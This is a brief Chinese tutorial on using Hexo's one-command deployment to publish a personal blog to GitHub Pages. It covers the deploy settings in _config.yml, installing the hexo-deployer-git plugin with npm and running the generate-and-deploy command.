Hexo 提供了快速方便的一键部署功能,让你只需一条命令就能将网站部署到服务器上。
在正式部署之前,我们需要先修改_config.yml
文件,配置参数。
1 | deploy: |
参数 | 描述 | 默认值 |
---|---|---|
type | deployer | - |
repo | 项目地址 | - |
branch | 分支名称 | gh-pages |
有以下两点需要注意:
1.repo 需要选择SSH 协议,HTTPS协议会报错。
2.branch 选择Github Pages中设置的那个分支,而不是拉取这个项目的分支
我这里使用的是git
作为 deployer,所以需要手动安装一个插件。
1 | npm install hexo-deployer-git --save |
生成站点文件并部署至远程库:
1 | hexo clean && hexo deploy --generate |
至此,就完成了使用Github Pages 部署 Hexo 个人博客的全部过程,总的来说还是很顺利的。